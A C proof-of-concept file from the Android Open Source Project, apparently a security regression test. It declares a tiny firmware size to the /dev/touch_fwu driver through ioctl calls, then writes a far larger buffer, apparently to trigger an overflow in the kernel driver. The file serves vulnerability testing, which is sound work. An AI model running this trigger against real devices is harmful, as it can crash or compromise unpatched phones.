blob: b34b3283ad38856295a0b321a559bab3c35e4215 [file] [log] [blame]
/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define TOUCH_FWU_IOCTL_CODE (0x81)
#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
int main(void) {
int fd, ret = 0, cmd;
char *buff;
fd = open("/dev/touch_fwu", O_RDWR);
if (fd == -1) {
return -1;
}
cmd = FW_FILE_SIZE;
ret = ioctl(fd, cmd, 0x100);
cmd = FW_FILE_REQUEST;
ret = ioctl(fd, cmd, 0);
buff = malloc(0x1000000);
ret = write(fd, buff, 0x100000);
close(fd);
return 0;
}